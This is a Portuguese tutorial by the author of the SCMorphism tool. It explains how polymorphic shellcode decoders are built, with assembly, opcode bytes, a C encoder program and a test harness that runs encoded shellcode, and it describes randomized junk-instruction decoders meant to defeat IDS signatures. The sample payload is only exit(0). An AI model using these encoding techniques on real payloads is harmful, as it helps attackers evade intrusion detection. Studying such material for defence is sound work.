Como funciona - Escrito por Rodrigo Rubira Branco (BSDaemon) Cuidado: Esta procura ser uma traducao do meu texto original HowItWorks.txt que foi escrito em ingles devido a natureza e funcao da ferramenta e portanto pode nao estar totalmente atualizado. O objetivo deste texto seria explicar como funciona a ferramenta SCmorphism. Explicacoes utilizadas neste texto seriam o ponto de inicio para comecar uma ferramenta como o scmorphism voce mesmo. Se voce apenas deseja aprender as tecnicas, este texto pode ser para voce tambem. Eu realmente quero agradecer ao Darksock da UHAGR porque ele me enviou boa parte dos exemplos sobre polimorfismo demonstrados neste texto. Eu modifiquei o texto dele para ser mais facilmente entendido e acrescentei diversas partes. Primeiramente, minha intencao seria explicar como as tecnicas de Polimorfismo funcionam e tambem mostrar ao leitor como um DECODER pode ser modificado para tornar praticamente impossivel de ser detectado. Para entender mais sobre polimorfismo, tambem pode ler o artigo do Rix para a phrack. Um shellcode polimorfico possui o seguinte formato: -------------- call decryptor -------------- shellcode -------------- decryptor -------------- jmp shellcode -------------- O decryptor fica responsavel por realizar o processo inverso ao utilizado na codificacao do seu shellcode. Este processo pode ser, por exemplo: - ADD - SUB - XOR - SHIFT - Encriptacao (como DES) Quando fazemos uma chamada CALL o endereco do proximo codigo (neste caso o do shellcode) fica armazenado na stack. Entao, o decoder pode facilmente pegar o endereco do shellcode armazenando-o em um registrador de uso geral. Entao, o que o decoder precisa fazer seria apenas manipular os bytes do shellcode e entao dar um jump para o endereco deste. Portanto teriamos algo assim (algoritmo): ------------------------------------------------------ call decryptor shellcode: .string encrypted_shellcode decryptor: xor %ecx, %ecx mov sizeof(encrypted_shellcode), %cl pop %reg looplab: mov (%reg), %al - manipulate al according to the encryption - mov %al, (%reg) loop looplab jmp shellcode ------------------------------------------------------- Entao, agora temos um exemplo de codigo que funciona: .globl main main: call decryptor shellcode: .string "\x32\xc1\x32\xdc\xb1\x02\xce\x81" // exit(0) shellcode // increased by 1 . decryptor: pop %ebx // we are going to using as an address reg: %ebx . xor %ecx, %ecx // Zero out %ecx mov $0x08, %cl // 0x08 == sizeof(shellcode) . looplab: mov (%ebx), %al // mov the byte pointed by %ebx to %al . dec %al // The manipulation/decryption :P . mov %al, (%ebx) // put the byte, decrypted now, back where it belongs. inc %ebx // increase the address by 1, get the next byte . dec %cx // decrease our counter register: %cx . jnz looplab // if %cx is not equal to zero, then continue // decrypting. jmp shellcode // Finaly, jump to our decrypted shellcode Realmente muito facil de entender, porem com alguns problemas. Voce nao pode usar este codigo compilado porque recebera um SIGSEGV devido ao fato de ele tentar escrever no .text (secao de codigo) que geralmente estara mapeado como +rx. No formato opcode este codigo funciona bem (porque estaria na stack). Agora apenas precisa-se concatenar o shellcode no final do seu decoder. Modificar o mov sizeof(shellcode), %cx bytes. Claro que voce precisa tomar cuidado para eliminar qualquer zer-bytes no seu opcode do decoder porque o sistema iria entender isto como fim de string. Tambem podemos fazer alguns otimizacoes, como estes instrucoes: mov (%ebx), %al dec %al mov %al, (%ebx) Que sao igualmente transformadas em: subb $0x01, (%ebx) Outras melhorias podem ser feitas, este codigo seria apenas um exemplo de como se implementar e desenvolver um decoder. Neste exemplo o mecanismo de cifragem realmente esta simples e realmente foi muito facil de ser desenvolvido. Outros mecanismos podem manipular apenas byte a byte e serem realmente obvios de serem desenvolvidos (tais como XOR). De qualquer forma, compilado isto possui os seguintes opcodes. Aqui esta (comecando do call): in main: 0xe8 0x09 // This byte is the relative address of the decryptor 0x00 // This Zero bytes are troubling as. But we must use 0x00 // the call instruction to get the shellcodes address 0x00 // so we must redesigned our shellcode Agora o codigo modificado: .globl main main: jmp getaddr decryptor: pop %ebx xor %ecx, %ecx mov $0x08, %cl looplab: mov (%ebx), %al dec %al mov %al, (%ebx) inc %ebx dec %cx jnz looplab jmp shellcode getaddr: call decryptor shellcode: .string "\x32\xc1\x32\xdc\xb1\x02\xce\x81" Acredito que podem entender este codigo, entao vamos verificar os opcodes novamente: (opcodes encontrados utilizando-se gdb, com (gdb) x/bx endereco) in main 0xeb 0x12 // relative address of getaddr, still wont change in decryptor 0x5b 0x31 0xc9 0xb1 0x08 // Shellcode bytes, must be smaller than 0xff bytes, wont be the same // for every shellcode, must be changed each time. in looplab 0x8a 0x03 0xfe 0xc8 0x88 0x03 0x43 0x66 0x49 0x75 0xf5 0xeb 0x05 // This byte is the relative address of shellcode - Wont change in getaddr 0xe8 0xe9 // Relative address of decryptor - Wont change 0xff // This way we are getting a negative relative address 0xff // so we avoid those zero-bytes ;) 0xff in shellcode: 0x32 0xc1 0x32 0xdc 0xb1 0x02 0xce 0x81 Como pode ser visto o endereco fixo nao mudara mesmo que o shellcode mude. Entao o decoder pode ser usado para qualquer shellcode, tendo apenas que modificar o byte 0x08 do decoder para ser igual ao tamanho do shellcode, para cada shellcode. No scmorphism isto esta sendo feito trocando-se o byte da string no programa em C. Aqui esta um programa em C para dar uma saida de um shellcode criptografado se voce der a ele um shellcode que funcione: #include // // BYTE_TO_MODIFY: pointer to the byte which we need to // modify in decryptor. Decryptor's size is -> 25 bytes <- // So your encrypted shellcode will enlarge by 25 bytes. // #define BYTE_TO_MODIFY 4 char decryptor[] = "\xeb\x12\x5b\x31\xc9\xb1\xdb\x8a\x03" "\xfe\xc8\x88\x03\x43\x66\x49\x75\xf5" "\xeb\x05\xe8\xe9\xff\xff\xff"; int main( int argc, char *argv[] ) { int i; if( argc != 2 ) { fprintf( stdout, "Usage: %s [ shellcode ]\n", argv[0] ); exit( 1 ); } if( strlen( argv[1] ) < 256 ) { decryptor[BYTE_TO_MODIFY] = strlen( argv[1] ); fprintf( stdout, "\nThe encrypted shellcode is:\n\n" ); for( i = 0; i < strlen( decryptor ); i++ ) fprintf( stdout, "\\x%02x", ( long ) decryptor[i]); for( i = 0; i < strlen( argv[1] ); i++ ) fprintf( stdout, "\\x%02x", ( long ) *( argv[1] + i ) + 1 ); fprintf( stdout, "\n\n" ); } else fprintf( stdout, "It is only possible if the given shellcode is smaller than 256 bytes\n" ); return( 0 ); } Assim que um decoder funciona (e pode ser desenvolvido) e como foi iniciado o projeto SCMorphism. Na vida real o tamanho do shellcode real sera incrementado conforme o tamanho do decoer, portanto uma versao otimizada do codigo anterior: .globl main main: jmp getaddr decryptor: popl %ebx xorl %ecx, %ecx movb $0x08, %cl looplab: subb $0x01, (%ebx) inc %ebx loop looplab jmp shellcode getaddr: call decryptor shellcode: .string "\x32\xc1\x32\xdc\xb1\x02\xce\x81" Com os opcodes do decoder sendo agora: // // 20bytes Decrypter Engine, 5bytes less. Not bad ;) // Once again decryptor[4] must be changed to the // size of the given shellcode. // char decryptor[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80\x2b\x01" "\x43\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff" E um codigo final de testes: --- test.c --- #include // // Decryptor + exit(0); Encrypted shellcode // char sc[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80" "\x2b\x01\x43\xe2\xfa\xeb\x05\xe8" "\xee\xff\xff\xff\x32\xc1\x32\xdc" "\xb1\x02\xce\x81"; int main( void ) { void ( *x ) ( ) = ( void * ) sc; x( ); return( 0 ); } $ strace ./test .. stuff .... .. more stuff .... .. stuff .... close(3) = 0 munmap(0x40012000, 36445) = 0 _exit(0) = ? Finalizando como um decoder pode ser desenvolvido e como funciona, agora vamos falar sobre as tecnicas da ferramenta SCMorphism. Primeiramente, o documento foi terminado de ser escrito em 25 de maio de 2004 e pode nao vir a ser atualizado com novos recursos do SCMorphism. Veja o ChangeLog para saber mais sobre estes. SCMorphism iniciou quando wsxz da priv8security falou comigo sobre como codificar um shellcode (usando um decoder XOR). Eu gostei da ideia e ele me falou para escrever uma ferramenta que fizesse isso automaticamente. Li o paper do Rix sobre o assunto e falei com o Darksock e outras pessoas (pode ver todas usando a opcao -v do scmorphism). Estas pessoas me deram muitas ideias e iniciei a escrita da ferramenta. Muitas ferramentas estao disponiveis para fazer partes do que o scmorphism faz, porem nao conheco nenhuma que faz tudo que este faz. Minha intencao nao esta apenas em codificar o shellcode original com um valor randomico e colocar um decoder na frente deste. Eu quero colocar um decoder randomicamente gerado. SCMorphism pode criar decoder XOR/ADD/SUB/ByteShift randomicamente gerados, sendo diferentes variacoes do mesmo tipo de decoder. Os decoders foram divididos em pecas (obrigado a Zillion@safemode.org pela ideia utilizada na sua ferramenta chamada s-poly). Usando estas pecas, a ferramenta pode criar randomicamente decoder, manipulando estas pecas e introduzindo "instrucoes do nothing". Isto da ao usuario um shellcode codificado diferente a cada uso da ferramenta. As instrucoes "do nothing" ("nao facam nada") usadas e os decoders randomicamente gerados tornam impossivel a escrita de assinaturas IDS para a ferramenta (ou isso ira dar ao admin muitos falsos positivos). Quando voce chamar a funcao de codificacao ela gera um numero randomico para ser utilizado na escolha da peca (o tipo do shellcode pode ser escolhido pelo usuario ou tambem randomicamente escolhido. O numero usado para as operacoes de codificacao tambem pode ser escolhido pelo usuario ou randomicamente gerado). Se desejar deativar a escolha randomica do decoder, utilize a opcao -o (optimizar). O numero escolhido para as operacoes de codificacao sera utilizado para performar as modificacoes no shellcode (shift bytes, xorar ele, incrementar ou decrementar). Caracteres ruins podem ser escolhidos pelo usuario (vendo o TODO voce descobrira que no futuro o SCmorphism devera implementar geracao de decoder alphanumerico). Se o usuario nao escolher nenhum caracter ruim, o sistema ira utilizar \0, \r e \t (obrigado Strider da priv8security). Tambem inclui uma matriz de "instrucoes nao faca nada" que nao oferecam problemas com o processo de decodificacao. Esta matriz (obrigado ao Strider novamente) sempre esta sendo utilizada para a escolha randomica das operacoes nao faca nada que sao colocadas no meio do decoder, e tornam a geracao de possiveis decoders praticamente infinita (isto realmente apresenta uma melhoria em relacao a ferramenta s-poly mencionada anteriormente, que possui um numero fixo de possibilidades e torna possivel de um IDS detectar). Autor: Rodrigo Rubira Branco (BSDaemon) www.kernelhacking.com/rodrigo rodrigo@kernelhacking.com